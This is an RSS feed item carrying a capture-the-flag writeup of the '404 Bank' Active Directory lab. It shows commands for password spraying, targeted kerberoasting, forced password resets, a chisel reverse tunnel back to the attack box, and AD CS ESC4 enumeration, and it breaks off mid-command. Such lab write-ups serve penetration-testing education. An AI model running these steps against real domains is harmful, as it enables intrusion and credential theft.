<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Keith Monroe on Medium]]></title>
        <description><![CDATA[Stories by Keith Monroe on Medium]]></description>
        <link>https://medium.com/@boxalarm?source=rss-4b69d3e7f10e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0odi63pw6uzAZrSDj9QBlQ.jpeg</url>
            <title>Stories by Keith Monroe on Medium</title>
            <link>https://medium.com/@boxalarm?source=rss-4b69d3e7f10e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:46:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@boxalarm/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[404 Bank Writeup (Hack Smarter Labs)]]></title>
            <link>https://medium.com/@boxalarm/404-bank-writeup-hack-smarter-labs-3e5d98a26774?source=rss-4b69d3e7f10e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e5d98a26774</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Keith Monroe]]></dc:creator>
            <pubDate>Tue, 21 Apr 2026 15:11:02 GMT</pubDate>
            <atom:updated>2026-04-23T11:36:01.027Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mtU3w3Ms-L027DN9AF7imA.png" /></figure><p>Here we go with another writeup for Hack Smarter Labs. This one is for 404 Bank, a medium rated AD lab.</p><p>We’re going to get into some basic binary enumeration, password spraying, DACL abuse, targeted kerberoasting, remote port forwarding, and we’ll wrap it all up with a little AD CS priv esc (ESC4).</p><p>This is the scenario:</p><blockquote><em>404 Bank, a staple of the local financial community, is conducting its annual security assessment. To uphold their motto of being “Proven, Local, Strong,” the bank has commissioned the Hack Smarter Red Team to perform an internal penetration test.</em></blockquote><blockquote><strong><em>Initial Access</em></strong></blockquote><blockquote><em>You have been provided with VPN access to their internal environment, but no other information.</em></blockquote><h3>Initial Recon</h3><p>Let’s kick things off with a port scan:</p><pre>nmap -sC -sV 10.1.240.64 -Pn</pre><pre>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: 404 Finance Group<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-11 23:32:53Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: 404finance.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC-404.404finance.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC-404.404finance.local<br>| Not valid before: 2025-07-03T13:35:22<br>|_Not valid after:  2026-07-03T13:35:22<br>|_ssl-date: 2026-04-11T23:34:12+00:00; -1s from scanner time.<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: 404finance.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC-404.404finance.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC-404.404finance.local<br>| Not valid before: 2025-07-03T13:35:22<br>|_Not valid after:  2026-07-03T13:35:22<br>|_ssl-date: 2026-04-11T23:34:12+00:00; -1s from scanner time.<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: 404finance.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC-404.404finance.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC-404.404finance.local<br>| Not valid before: 2025-07-03T13:35:22<br>|_Not valid after:  2026-07-03T13:35:22<br>|_ssl-date: 2026-04-11T23:34:12+00:00; -1s from scanner time.<br>3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: 404finance.local, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=DC-404.404finance.local<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:DC-404.404finance.local<br>| Not valid before: 2025-07-03T13:35:22<br>|_Not valid after:  2026-07-03T13:35:22<br>|_ssl-date: 2026-04-11T23:34:12+00:00; -1s from scanner time.<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DC-404.404finance.local<br>| Not valid before: 2026-01-27T22:25:59<br>|_Not valid after:  2026-07-29T22:25:59<br>|_ssl-date: 2026-04-11T23:34:12+00:00; -1s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: FINANCE404<br>|   NetBIOS_Domain_Name: FINANCE404<br>|   NetBIOS_Computer_Name: DC-404<br>|   DNS_Domain_Name: 404finance.local<br>|   DNS_Computer_Name: DC-404.404finance.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-04-11T23:33:32+00:00<br>Service Info: Host: DC-404; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>| smb2-time: <br>|   date: 2026-04-11T23:33:33<br>|_  start_date: N/A<br>|_clock-skew: mean: -1s, deviation: 0s, median: -1s<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required</pre><p>Based on the open ports and the DNS / NetBIOS names of this machine we know this is a Domain Controller.</p><p>Common ports on a DC include DNS (53), Kerberos (88), LDAP/S (389, 636), kpasswd (464 — used to change passwords with Kerberos), RPC over HTTP (593), and Global Catalog LDAP/S (3268, 3269).</p><p>Our domain is 404finance.local and the machine name is DC-404.</p><p>-sC and -sV take time to run so I don’t like to run them against every single port. So after this first scan I like to run another scan using -p- to ensure I get all the open TCP ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AIU1Rsr9fVLlcFpd_eIcJQ.png" /></figure><p>You can see in the output above, port 5985 (WinRM) and 9389 (ADWS) are interesting ports that didn’t show up in our first scan (because they aren’t part of the top 1000 ports that are scanned by default).</p><h3>Web Server</h3><p>Let’s start poking around to see how we can get a foothold on this machine. We weren’t given any valid creds to start with so let’s take a look at the web server to see if we can find anything interesting…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8m9xdOMKdqjjLOdQrLHxw.png" /></figure><p>On the home page we see some employee names. We’ll jot these down for future reference. The other thing we would want to try and find is a valid email address so we would know what format their usernames are potentially using, but we weren’t able to find anything.</p><p>Pay attention to history.html and see what you find. That page is going to come into play later.</p><p>But for now, under services.html we see an .exe we can download:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmiiDUENGumH7J7gHkCZyA.png" /></figure><p>Let’s run strings against it to see if we can get an easy win:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*kLsEiUC9DDPzZWETlprSQw.png" /></figure><p>Sure enough we see what looks to be a Base64 encoded string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vtxPnCMP3wXF7yswsFkaxg.png" /></figure><p><strong>NOTE:</strong> Don’t copy the \n from the strings output - that’s just a newline character that isn’t part of the Base64 encoding.</p><p>The output looks like an MD5 hash, so let’s take it over to <a href="http://crackstation.net/">crackstation.net</a> to see if we can get another easy win:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5z9ncr8b0hsdlPAGcKzkpg.png" /></figure><p>Boom! We’ve got our first password: Password123!!.</p><p>That’s great, but now we just need to figure out where we can use it.</p><p>I did some quick dirbusting to see if there was any login functionality with this site, but there wasn’t:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZTlCrgTIYolp932uvWMrPw.png" /></figure><h3>Finding Valid Domain Users</h3><p>I’m guessing the password is for a domain user. The only problem is that we don’t have any valid usernames yet.</p><p>Let’s try to enumerate them using a NULL session with rpcclient:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*00mv2f_1EpYBHfVFuDLsBg.png" /></figure><p>No dice.</p><p>That’s okay though because we have three employee names and with those names we can create a list of potential usernames using a tool like <a href="https://github.com/urbanadventurer/username-anarchy">username-anarchy</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*i3608S5f_EImj_hBWeJ2Wg.png" /></figure><p>We’ll run this for the two other employee names and copy all the output to users.txt.</p><p><strong>NOTE:</strong> To make this quicker, create a list of all valid employee names in names.txt and then run username-anarchy --input-file names.txt &gt; users.txt.</p><p>Now let’s cross our fingers and perform a password spray attack with the list of potential usernames and the password we found in the executable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qD1O-GzzYEhDvb3J5mY_2w.png" /></figure><p>Boom! We’ve got some creds now. And we also know what the username format is: firstname.lastname.</p><p>With our shiny new creds we can start by checking if we have access to any interesting shares:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lp_NBWhveDGuOWOLCMXPsQ.png" /></figure><p>But we only have the typical access to the default shares on a DC.</p><h3>Targeted Kerberoasting</h3><p>Let’s use bloodhound-python to ingest some data for Bloodhound:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MFgsGtRgvjGV4NPYtCTc4Q.png" /></figure><p>I always like to start by searching for the user I currently own (in this case karl.hackermann) and then checking if that user has any Outbound Object Control.</p><p>In this case our user has GenericWrite privileges over tom.reboot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Jn18NAA9Sc_kwof_sugbQ.png" /></figure><p>If you’re not sure how to abuse this, it’s always a good idea to click on the edge itself (GenericWrite) and read both the abuse info and the general info:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*jZsMkkcROhpY4dSJSz0rmw.png" /></figure><p>What this tells us is that with GenericWrite privs, we can modify the SPN for a user. That’s important, because any user account that has an SPN set can be Kerberoasted. I say user account because while machine accounts can technically be Kerberoasted (they do have SPNs set), we aren’t realistically going to be able to crack their 120 character randomly generated passwords (gMSA accounts present a similar scenario).</p><p><strong>Before we perform the attack, here’s a very basic primer on Kerberoasting…</strong></p><p>When an authenticated domain user wants to access a service in AD, they request a TGS (Ticket Granting Service) ticket from the DC for that particular service. In this request, they specify what service they want a ticket for by providing the SPN or Service Principal Name of that service.</p><p>The DC, or more specifically the KDC (Key Distribution Center), then looks up that SPN, finds the account associated with it (the one whose SPN matches our request — a service account), and then encrypts that ticket using the password hash of that account. Finally, it sends the service ticket to the user who requested it (this is called a TGS-REP).</p><p>The user now has a TGS that has been encrypted with the service accounts password hash. That’s great, because now we can take this TGS offline and attempt to crack it to recover the plaintext password of the service account.</p><p>For our targeted kerberoasting attack, we need to be able to add an SPN to the account we’re targeting because only accounts that have SPNs set can be Kerberoasted. The GenericWrite privs that we have over tom.reboot will allow us to add an SPN for that user account.</p><p>In a nutshell, the whole idea of this attack is that by adding an SPN to a target account, we can force the KDC to issue a TGS encrypted with that account’s password hash. This gives us something to crack offline in order to potentially recover the plaintext password of an account we wouldn’t otherwise have access to.</p><p>So a targeted kerberoasting attack looks like this:</p><ul><li>Add an SPN to a user account</li><li>Kerberoast that account (e.g., request a TGS for the SPN we just added which will be encrypted with that accounts password hash)</li><li>Crack the TGS that we receive using hashcat (this does rely on the password being relatively weak)</li><li>Perform cleanup by removing the SPN from the account (obviously not necessary for this lab, but something that should absolutely be done on a real engagement)</li></ul><p>We can use the tool <a href="https://github.com/ShutdownRepo/targetedKerberoast">https://github.com/ShutdownRepo/targetedKerberoast</a> to do this:</p><pre>./targetedKerberoast.py -v -d 404finance.local -u karl.hackermann -p &#39;Password123!!&#39; --request-user tom.reboot</pre><p><strong>NOTE:</strong> Make sure you’ve added 404finance.local to your /etc/hosts file.</p><p>By default this command will Kerberoast <em>every</em> user account that has an SPN set, so if we want to be more selective with this attack, make sure you provide the username you’re targeting with the --request-user flag. This tool also automatically cleans up after itself by removing the SPN after it has finished the kerberoasting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7_hgOKgZyAyQvDRejAb-jw.png" /></figure><p>Now we just need to crack this hash. I never can remember the correct hashcat mode, so I always end up grepping the help output which lists every mode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RUYvdZm1Z0HttLeXXRUBSQ.png" /></figure><p>We want the mode for Kerberos 5, etype 23, TGS-REP (look at the beginning of the hash to understand why - it’s $krb5tgs$23$).</p><p>The $23 says that the TGS was encrypted using RC4 (which is good news, because it’s much weaker than AES-128/256). $17 represents AES-128 and $18 represents AES-256.</p><p>If you look at the last two modes in the screenshot above, they look identical except mode 13100 is for a TGS-REP and 18200 is for an AS-REP. We want to choose mode 13100 because we are trying to crack a TGS-REP (the service ticket that we requested). Not to get into the weeds, but an AS-REP is the response from the Authentication Server when a user first requests a TGT. We would choose mode 18200 if we were attempting AS-REP roasting.</p><p>Back to business… this hash was easily cracked with hashcat:</p><pre>hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wPXL04DwBKrnR3hbYfSgSA.png" /></figure><h3>ForceChangePassword</h3><p>With a new set of creds, let’s go back to Bloodhound and check if tom.reboot has any outbound object control:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i4h3cNj_2nFr3wqO_VLhjw.png" /></figure><p>We’re in luck because we can now use our ForceChangePassword privs to reset the password of robert.graef.</p><p>This is pretty straightforward with bloodyAD:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lK-p2TwJhEdUGvQl-jECeA.png" /></figure><p>So we’ve just changed robert.graef&#39;s password to Password123!.</p><h3>RDP Access to DC-404</h3><p>Hopping back to Bloodhound, we’ll go through a similar routine…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sVsBl9evQrez-Pi2nbFfWw.png" /></figure><p>robert.graef can reset three different users passwords and can also add users to the Remote Desktop Users group. This group membership is required in order to RDP into a box.</p><p>We can use nxc to check if robert.graef has RDP access to DC-404:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9onGfYPkUUGw9faDJwzPKg.png" /></figure><p>He does not…</p><p>What you’ll notice in the output is that Pwn3d! is missing. If Pwn3d! exists when using the rdp command with nxc it means the user is a part of the Remote Desktop Users group. If you just see the [+] it means the credentials are valid domain creds, but the user is <em>not</em> a member of Remote Desktop Users and will therefore not be able to access the machine via RDP.</p><p>robert.graef can add members to the Remote Desktop Users group so we’ll just add ourselves to the group:</p><pre>net rpc group addmem &quot;Remote Desktop Users&quot; &quot;robert.graef&quot; -U &quot;404finance.local&quot;/&quot;robert.graef&quot;%&#39;Password123!&#39; -S &quot;10.1.240.64&quot;</pre><p>And to confirm our access, we’ll use xfreerdp:</p><pre>xfreerdp /v:10.1.240.64 /u:robert.graef /p:&#39;Password123!&#39; /dynamic-resolution</pre><p>Success!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QiT1FDUGHLZjrCXHyI4JcA.png" /></figure><p>After logging in, we don’t have the user flag, so I wanted to check C:\Users to see what other users have profiles on this machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*imzk82XFD70kE2Mw4zuxxw.png" /></figure><p>Interestingly, jan.tresor has a profile and this is one of the accounts we can reset the password for.</p><p>So we’ll reset the password and then see if we can RDP into the DC:</p><pre>bloodyAD --host 10.1.240.64 -d 404finance.local -u robert.graef -p &#39;Password123!&#39; set password jan.tresor &#39;Password123!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PyuVZ_BvofKMnubxJLhZqg.png" /></figure><p>Again, we don’t see Pwn3d! which means this user isn’t part of the Remote Desktop Users group… yet. The [+] does confirm the password reset was successful and that the credentials we provided are valid.</p><p>No RDP access right now isn’t a problem because we can use robert.graef to add members to the Remote Desktop Users group:</p><pre>net rpc group addmem &quot;Remote Desktop Users&quot; &quot;jan.tresor&quot; -U &quot;404finance.local&quot;/&quot;robert.graef&quot;%&#39;Password123!&#39; -S &quot;10.1.240.64&quot;</pre><p>Checking our access with nxc again confirms we should now be able to access the DC via RDP with jan.tresor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2pvMHoU_VrBnF2XLkOeU5g.png" /></figure><h3>Rummaging Through the Trash</h3><p>Let’s RDP into the DC as jan.tresor:</p><pre>xfreerdp /v:10.1.240.64 /u:jan.tresor /p:&#39;Password123!&#39; /dynamic-resolution</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4eul-yjzXRx-vS2CSndovw.png" /></figure><p>Welp, we still don’t have a user flag. However, I noticed that the Recycle Bin was full:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SuNI4m7OQONs4RM1ANF_FA.png" /></figure><p>It looks like we have four deleted emails to check out. We can restore all of them by highlighting them, right-clicking on them and choosing “Restore”.</p><p>Now we can access each email via the Desktop (this is their Original Location — see screenshot above).</p><p>The Access Credentials - Don&#39;t Tell Anyone (Except Daniel) email seems promising, so let’s check it out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*fQnZtqX7S0I9E0tQ7THCqw.png" /></figure><p>Sure enough, we’ve got another set of creds — this time for daniel.hoffmann.</p><p>Another interesting email was Account Deactivation Notice for svc.services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YjoVfL351dUjPzpRJPDaFg.png" /></figure><p>This tells us that there’s a deactivated service account called svc.services which can only be reactivated by robert.graef (and certain admins which we don’t have access to right now). More importantly, it was deactivated because of an ESC vulnerability within AD CS. This is something we should hold onto because it will likely be a path for our privilege escalation attempts in the near future…</p><h3>WinRM Access with daniel.hoffman</h3><p>Bloodhound shows us that daniel.hoffman is a member of the Remote Management Users group which should allow us to access the DC via WinRM:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HFbJkZNKSdhdAhz23guI3A.png" /></figure><p>And as we always do with any new users we compromise, let’s check the outbound object control:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MpNcTK2C7Pw2jckHSKWLw.png" /></figure><p>So daniel.hoffmann can reset the password for the webadmin account. webadmin doesn’t have any outbound object control, so for now we’ll just sit on this information.</p><p>Let’s access the DC with evil-winrm:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qgj9wy0AU3JO7eN8liTgzA.png" /></figure><p>It worked! And we’re finally able to get the user flag.</p><p>Before we move on, let’s do some basic enumeration. Running netstat -ano shows all listening ports and their associated PIDs - this helps us identify whether any interesting ports are only accessible internally:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WnkXPLBeKT0z-aua6aS4-A.png" /></figure><p>It was hard for me to catch at first, but port 5000 did not show up on our initial port scan with nmap. Although it’s bound to all interfaces (0.0.0.0), there must be a firewall rule blocking it which is why it didn’t show up with our external nmap scan.</p><p>In some cases this will be easier to notice because the local address will be 127.0.0.1 (not 0.0.0.0) meaning the port is bound to the localhost and only accessible internally.</p><h3>Port Forwarding</h3><p>To access port 5000, we’re going to have to use remote (or reverse) port forwarding. We’ll use chisel for this.</p><p>You can basically think of reverse port forwarding the same way you think about a reverse shell. The target will be connecting back to us. This is a great way to bypass inbound firewall rules (like port 5000 being blocked) when the outbound rules are less restrictive (which is almost always the case).</p><p>On our attack box we’ll run the chisel server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QP_WEFPMjqOgEj2P_71vgw.png" /></figure><p>Our server is going to be listening on port 8082 for connections from the chisel client.</p><p>Then we can use evil-winrm&#39;s built in upload functionality to upload the chisel client to the DC:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mIfOA4wwFscwbHBLVL-seQ.png" /></figure><p>And execute the client:</p><pre>.\chisel.exe client 10.200.47.58:8082 R:5000:127.0.0.1:5000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*069ExLRL8ewOPO1RWbQp5A.png" /></figure><p>We’re running chisel in client mode which means it will be connecting back to the server (running on 10.200.47.58:8082).</p><p>R:5000:127.0.0.1:5000 sets up the forwarding rules.</p><p>The R prefix tells chisel this is a reverse tunnel, meaning the listener is created on the server (our attack box) rather than the client. It tells the server to open up port 5000 on our attack box. Then, any traffic we send to <a href="http://localhost/">localhost</a>:5000 on our attack box is sent through chisel’s tunnel to port 5000 on the target host (in this case the DC).</p><p>Now we can access whatever is being hosted on port 5000 from our attack box:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_9XPGXSJUGyWvcOeTWPtQ.png" /></figure><p>Hmm, we’re being prompted for creds and no existing creds that we’ve discovered are working…</p><p>But if you remember, there’s another account in play: webadmin. We previously saw in Bloodhound that daniel.hoffmann can reset the password of this account. So let’s reset this accounts password and see if those creds work for this website:</p><pre>bloodyAD --host 10.1.240.64 -d 404finance.local -u daniel.hoffmann -p &#39;&lt;redacted&gt;&#39; set password webadmin &#39;Password123!&#39;</pre><p>Let’s try to login now with the new creds for webadmin:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U0vVyLB8ocrD6nc08Fv3Ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VkcteGtrbk5yhiZ-R0OTXg.png" /></figure><p>We’re in! And it’s an internal admin interface.</p><p>We’ll download the zip file and see what’s in it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W0dxR_9URGXbh8TzOhXknQ.png" /></figure><p>Or maybe not.. it’s password protected.</p><p><strong>NOTE:</strong> The unsupported compression method message indicates the file is password protected when you’re using the unzipcommand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dS6GkUzHaArqgkDF3X1jVg.png" /></figure><p>Knowing this, we can use zip2john to grab the hash and then crack it with john and rockyou.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5pdH2j6E3uhCkcnRqGVk3Q.png" /></figure><p>But that was apparently too optimistic, because it didn’t work.</p><p>Thinking back to the website, there were a couple of things that caught my eye on the history.html page that I didn’t bring up earlier in this writeup - passwords and potential passwords:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmsnW3qF1eKuY225EHYThQ.png" /></figure><p>admin123 is actually in rockyou.txt so we know this isn’t the correct password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-HwYP0ehYMwoW98BX4x8Q.png" /></figure><p>DontmessWithTexas is what caught my eye though - it’s not explicitly called out as being a password but the fact that it doesn’t have any spaces is a big clue.. and you know what? It worked!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yw_KUxJNJFki9a9VaYKHww.png" /></figure><p>config.dat contains the password for the svc.services account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*9Qd0IONOeRkkU_o_jwVH8g.png" /></figure><p>This will come in handy very soon…</p><h3>Privilege Escalation via ESC4</h3><p>One of the emails we recovered earlier clued us in to the fact that the priv esc path was likely an AD CS vulnerability. Let’s confirm this by running certipy-ad to see if there are any vulnerable certificate templates we can abuse:</p><pre>└─$ certipy-ad find -u daniel.hoffmann -p &#39;&lt;redacted&gt;&#39; -dc-ip 10.1.240.64 -stdout<br>Certipy v5.0.4 - by Oliver Lyak (ly4k)<br>[*] Finding certificate templates<br>[*] Found 35 certificate templates<br>[*] Finding certificate authorities<br>[*] Found 1 certificate authority<br>[*] Found 12 enabled certificate templates<br>[*] Finding issuance policies<br>[*] Found 31 issuance policies<br>[*] Found 0 OIDs linked to templates<br>[*] Retrieving CA configuration for &#39;404finance-DC-404-CA&#39; via RRP<br>[!] Failed to connect to remote registry. Service should be starting now. Trying again...<br>[*] Successfully retrieved CA configuration for &#39;404finance-DC-404-CA&#39;<br>[*] Checking web enrollment for CA &#39;404finance-DC-404-CA&#39; @ &#39;DC-404.404finance.local&#39;<br>[!] Error checking web enrollment: timed out<br>[!] Use -debug to print a stacktrace<br>[*] Enumeration output:<br>Certificate Authorities<br>  0<br>    CA Name                             : 404finance-DC-404-CA<br>    DNS Name                            : DC-404.404finance.local<br>    Certificate Subject                 : CN=404finance-DC-404-CA, DC=404finance, DC=local<br>    Certificate Serial Number           : 49F9F3F512FE1BA84F59D5DAAD071218<br>    Certificate Validity Start          : 2025-07-03 13:33:46+00:00<br>    Certificate Validity End            : 2030-07-03 13:43:46+00:00<br>    Web Enrollment<br>      HTTP<br>        Enabled                         : False<br>      HTTPS<br>        Enabled                         : False<br>    User Specified SAN                  : Disabled<br>    Request Disposition                 : Issue<br>    Enforce Encryption for Requests     : Enabled<br>    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy<br>    Permissions<br>      Owner                             : 404FINANCE.LOCAL\\Administrators<br>      Access Rights<br>        ManageCa                        : 404FINANCE.LOCAL\\Administrators<br>                                          404FINANCE.LOCAL\\Domain Admins<br>                                          404FINANCE.LOCAL\\Enterprise Admins<br>        ManageCertificates              : 404FINANCE.LOCAL\\Administrators<br>                                          404FINANCE.LOCAL\\Domain Admins<br>                                          404FINANCE.LOCAL\\Enterprise Admins<br>        Enroll                          : 404FINANCE.LOCAL\\Authenticated Users<br>Certificate Templates<br>  0<br>    Template Name                       : Vuln-ESC4<br>    Display Name                        : Vuln-ESC4<br>    Certificate Authorities             : 404finance-DC-404-CA<br>    Enabled                             : True<br>    Client Authentication               : True<br>    Enrollment Agent                    : False<br>    Any Purpose                         : False<br>    Enrollee Supplies Subject           : True<br>    Certificate Name Flag               : EnrolleeSuppliesSubject<br>    Enrollment Flag                     : IncludeSymmetricAlgorithms<br>                                          PendAllRequests<br>                                          PublishToDs<br>    Private Key Flag                    : ExportableKey<br>    Extended Key Usage                  : Client Authentication<br>                                          KDC Authentication<br>                                          Server Authentication<br>                                          Smart Card Logon<br>    Requires Manager Approval           : True<br>    Requires Key Archival               : False<br>    Authorized Signatures Required      : 1<br>    Schema Version                      : 2<br>    Validity Period                     : 99 years<br>    Renewal Period                      : 650430 hours<br>    Minimum RSA Key Length              : 2048<br>    Template Created                    : 2025-07-03T13:38:39+00:00<br>    Template Last Modified              : 2025-07-03T14:13:19+00:00<br>    Permissions<br>      Enrollment Permissions<br>        Enrollment Rights               : 404FINANCE.LOCAL\\Service Account<br>      Object Control Permissions<br>        Owner                           : 404FINANCE.LOCAL\\Enterprise Admins<br>        Full Control Principals         : 404FINANCE.LOCAL\\Domain Admins<br>                                          404FINANCE.LOCAL\\Local System<br>                                          404FINANCE.LOCAL\\Enterprise Admins<br>        Write Owner Principals          : 404FINANCE.LOCAL\\Service Account<br>                                          404FINANCE.LOCAL\\Domain Admins<br>                                          404FINANCE.LOCAL\\Local System<br>                                          404FINANCE.LOCAL\\Enterprise Admins<br>        Write Dacl Principals           : 404FINANCE.LOCAL\\Service Account<br>                                          404FINANCE.LOCAL\\Domain Admins<br>                                          404FINANCE.LOCAL\\Local System<br>                                          404FINANCE.LOCAL\\Enterprise Admins<br>        Write Property Enroll           : 404FINANCE.LOCAL\\Service Account</pre><p>Okay, well this made pretty easy for us because the name of one of the certificates is Vuln-ESC4. I’m going to go out on a limb and say this certificate is vulnerable to ESC4.</p><p>It’s vulnerable to ESC4 because the Service Account user has been granted Write Owner, Write DACL, and Write Property rights on this certificate.</p><p>Write Owner allows the user to take ownership of the template object itself, Write Property allows direct modification of its attributes, and Write DACL allows the user to modify the template’s access control list, which could be used to grant themselves or another account additional rights over the template. Any one of these rights is sufficient to ultimately modify the template’s attributes and make it exploitable.</p><p>So in a nutshell, a template is vulnerable to ESC4 (sometimes referred to as “template hijacking”) when a low-privileged user has write permissions over it, enabling them to modify any attribute.</p><p>We can use these rights to modify the template to make it vulnerable to ESC1, which will then allow us to request a certificate as any user in the domain.</p><p><strong>NOTE:</strong> If you want to understand ESC1 better, I explain it in more detail in this writeup: <a href="https://medium.com/@boxalarm/welcome-writeup-hack-smarter-labs-87510216ad54">Welcome Writeup (Hack Smarter Labs)</a></p><p>To make this work, we need to control both the account that can modify the template and any account that can enroll in the template (request a certificate using the template).</p><p>Looking at who can enroll in this certificate template, we see:</p><pre>Enrollment Rights         : 404FINANCE.LOCAL\\Service Account</pre><p>Service Account is the Common Name (CN) for svc.services (which is the SAM account name). So svc.services is the one account we need to control in order to both modify the template and request a certificate using that template.</p><p>Remember though, based on the emails we recovered, this is the service account that was disabled and can be reenabled by robert.graef.</p><p>Bloodhound confirms that svc.services is currently disabled:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*BwDuWONtwHkQ0d0ro21w_w.png" /></figure><p>Another way to check if the account is disabled is to use ldapsearch:</p><pre>ldapsearch -H ldap://10.1.240.64 -D &quot;robert.graef@404finance.local&quot; -w &#39;Password123!&#39; -b &quot;CN=Users,DC=404finance,DC=local&quot; 